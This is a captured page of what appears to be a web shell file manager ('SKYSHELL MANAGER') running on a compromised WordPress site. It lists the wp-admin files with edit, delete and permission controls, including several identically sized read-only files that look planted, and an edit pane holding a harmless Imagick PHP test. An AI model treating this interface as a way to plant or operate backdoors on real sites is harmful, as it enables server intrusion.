📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: 031_Imagick_affineTransformImage_basic.phpt
--TEST-- Test Imagick, affineTransformImage --SKIPIF-- <?php $imageMagickRequiredVersion=0x675; require_once(dirname(__FILE__) . '/skipif.inc'); if (PHP_OS_FAMILY == 'Windows') die('skip dither is apparently borken on Windows https://github.com/Imagick/imagick/issues/590'); ?> --XFAIL-- I don't understand what values are returned in which elements of getImageChannelStatistics --FILE-- <?php function checkAllStatsAreValue($channelStatistics, $value) { if ($channelStatistics[Imagick::CHANNEL_RED]['mean'] != $value) { echo "Channel red is wrong " . $channelStatistics[Imagick::CHANNEL_RED]['mean'] . " vs " . $value. "\n"; } if ($channelStatistics[Imagick::CHANNEL_GREEN]['mean'] != $value) { echo "Channel green is wrong " . $channelStatistics[Imagick::CHANNEL_GREEN]['mean'] . " vs " . $value. "\n"; } if ($channelStatistics[Imagick::CHANNEL_BLUE]['mean'] != $value) { echo "Channel blue is wrong " . $channelStatistics[Imagick::CHANNEL_BLUE]['mean'] . " vs " . $value. "\n"; } echo "Stats checked\n"; } function affineTransformImage() { $imagick = new \Imagick(); $imagick->newPseudoImage(640, 640, "xc:black"); $draw = new \ImagickDraw(); $angle = deg2rad(45); //$angle = deg2rad(3); $draw->setFillColor('white'); $draw->setStrokeColor('white'); $draw->setStrokeWidth(10.0); $draw->setStrokeLineCap(Imagick::LINECAP_SQUARE); $draw->setStrokeLineJoin(Imagick::LINEJOIN_BEVEL); $draw->line( $start_x = -50, $start_y = -50, $end_x = 690, $end_y = 690 ); $imagick->drawImage($draw); $draw = new \ImagickDraw(); $affineRotate = array( "sx" => cos($angle), "sy" => cos($angle), "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0, ); $draw->affine($affineRotate); $imagick->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_BLACK); $imagick->affineTransformImage($draw); $imagick->setImagePage($imagick->getimageWidth(), $imagick->getimageheight(), 0, 0); $imagick->cropImage( $imagick->getImageWidth() - 40, $imagick->getImageHeight() - 40, 20, 20 ); $imagick->setImageFormat('png'); $imagick->writeImage(__DIR__ . '/test_031.png'); $lineCheckBlack = clone $imagick; $blackout = new \ImagickDraw(); $blackout->setStrokeColor('black'); $blackout->setFillColor('black'); $blackout->rectangle( ($lineCheckBlack->getImageWidth() / 2) - 20, 0, ($lineCheckBlack->getImageWidth() / 2) + 20, $lineCheckBlack->getImageHeight() ); $lineCheckBlack->drawImage($blackout); // $lineCheckBlack->writeImage(__DIR__ . '/test_031_blank.png'); $whiteout = new \ImagickDraw(); $lineCheckWhite = clone $imagick; $whiteout->setStrokeColor('white'); $whiteout->setFillColor('white'); $whiteout->rectangle( ($lineCheckBlack->getImageWidth() / 2) - 4, 0, 0, $lineCheckBlack->getImageHeight() ); $whiteout->rectangle( ($lineCheckWhite->getImageWidth() / 2) + 4, 0, $lineCheckWhite->getImageWidth(), $lineCheckWhite->getImageHeight() ); $lineCheckWhite->drawImage($whiteout); // $lineCheckWhite->writeImage(__DIR__ . '/test_031_white.png'); $channelStatistics = $lineCheckWhite->getImageChannelStatistics(); echo "Checking white\n"; checkAllStatsAreValue($channelStatistics, Imagick::getQuantum()); $channelStatistics = $lineCheckBlack->getImageChannelStatistics(); // var_dump( // "lineCheckBlack channel stats are:", // $channelStatistics // ); echo "Checking black\n"; checkAllStatsAreValue($channelStatistics, 0); $bytes = $imagick->getImageBlob(); if (strlen($bytes) <= 0) { echo "Failed to generate image.";} } affineTransformImage() ; echo "Ok"; ?> --CLEAN-- <?php $f = __DIR__ . "/test_031.png"; if (file_exists($f)) { @unlink($f); } ?> --EXPECTF-- Checking white Stats checked Checking black Stats checked Ok
Save